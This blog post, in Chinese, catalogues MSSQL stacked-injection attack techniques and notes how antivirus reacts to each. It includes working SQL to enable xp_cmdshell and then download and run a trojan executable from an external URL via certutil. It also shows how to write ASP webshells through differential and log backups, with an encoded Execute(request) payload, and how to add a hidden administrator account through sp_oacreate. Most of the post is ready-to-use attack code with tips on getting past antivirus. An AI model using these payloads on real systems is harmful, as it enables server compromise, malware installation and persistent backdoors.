mssql堆疊注入利用總結

前言

前一段時間遇到了兩個mssql的注入,一個是可以限制長度的命令執行,另一個是網站可以注入,但是主機存在殺軟,不可以使用xp_cmdshell,所以總結一下mssql堆疊注入環境下的函數利用,以及殺軟的反應
當然,下面的函數基本都要基於dba權限,如果不是dba的話,擁有相關權限也是可以的

環境

這裏使用win2008搭建了iis和mssql環境,mssql的默認用戶是network權限,數據庫連接使用sa權限

寫webshell

寫webshell的話需要知道相應的目錄權限,可以通過報錯信息,字典來猜測,執行命令和相關函數來搜索,讀取iis的配置文件等方式,這裏主要來使用xp_cmdshellxp_dirtree來演示

xp_dirtree

execute master..xp_dirtree 'c:' --列出所有c:\文件、目錄、子目錄 
execute master..xp_dirtree 'c:',1 --只列c:\目錄
execute master..xp_dirtree 'c:',1,1 --列c:\目錄、文件

在這裏插入圖片描述
如果不能回顯的話,可以把查詢結果寫入數據表中,之後通過注入來獲取相關目錄信息

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;
select * from tmp;

在這裏插入圖片描述

xp_dirtree殺軟反應

這裏只測試了某衛士
在這裏插入圖片描述
這個函數殺軟沒有反應

xp_cmdshell

開啓xp_cmdshell

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

查找asp所在目錄

CREATE TABLE cmdtmp (dir varchar(8000));
exec master..xp_cmdshell 'for /r c:\inetpub %i in (1*.asp) do @echo %i'
select * from cmdtmp

在這裏插入圖片描述

xp_cmdshell殺軟反應

在這裏插入圖片描述
可以看到對xp_cmdshell函數攔截比較嚴格

通過命令執行拿shell

無殺軟

可以通過xp_cmdshell函數來執行命令寫shell
開啓xp_cmdshell

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

使用xp_cmdshell下載和執行muma

exec master..xp_cmdshell 'certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe'
exec master..xp_cmdshell '%temp%/1.exe'

如果遇到長度限制的話可以參考我的另一篇文章記一次asp+mssql的注入和命令執行(已脫敏)
在這裏插入圖片描述

有殺軟

和前面一樣,對這個函數限制比較嚴格,哪怕是錯誤命令都不能執行
在這裏插入圖片描述

通過差異備份寫shell

有殺軟

backup database test to disk = 'C:\test\bak.bak';
create table [dbo].[test1] ([cmd] [image]);
insert into test1(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database test to disk='C:\test\d.asp' WITH DIFFERENTIAL,FORMAT;

這裏的0x3C25657865637574652872657175657374282261222929253E是對應文本的
16進制編碼
在這裏插入圖片描述
在這裏插入圖片描述
這裏在有殺軟的情況下可以正常執行,無殺軟的情況下就不再測試,不過

backup database test to disk = 'C:\inetpub\wwwroot\bak.bak';
backup database test to disk='C:\inetpub\wwwroot\d.asp' WITH DIFFERENTIAL,FORMAT;

在寫shell 的時候會因爲目錄權限問題而導致無法寫入
在這裏插入圖片描述

log備份

LOG備份需要先把指定的數據庫激活爲還原模式,所以需要執行alter database XXX set RECOVERY FULL 如果權限不夠的話就要看是否已經開啓log備份

有殺軟

alter database test set RECOVERY FULL;
create table cmd1 (a image);
backup log test to disk = 'C:\test\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
backup log test to disk = 'C:\test\hack2.asp';

在這裏插入圖片描述
可以正常執行

遇到的問題

執行alter database test set RECOVERY FULL後無法執行backup log操作,重啓數據庫之後纔可以,還存在目錄權限問題,寫文件到C:\test\hack.asp可以,

backup log test to disk = 'C:\inetpub\wwwroot\hack2.asp';

在這裏插入圖片描述
存在目錄權限問題

sp_oacreate

無殺軟

開啓sp_oacreate

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'show advanced options', 0;

添加用戶

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123 /add';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add';

因爲權限問題無法創建,這裏使用寫文件的方式

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c echo 123>c:\test\123.txt';

在這裏插入圖片描述

有殺軟

在這裏插入圖片描述
應該是對命令執行比較敏感

參考文章

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI
https://www.cnblogs.com/xishaonian/p/7421592.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章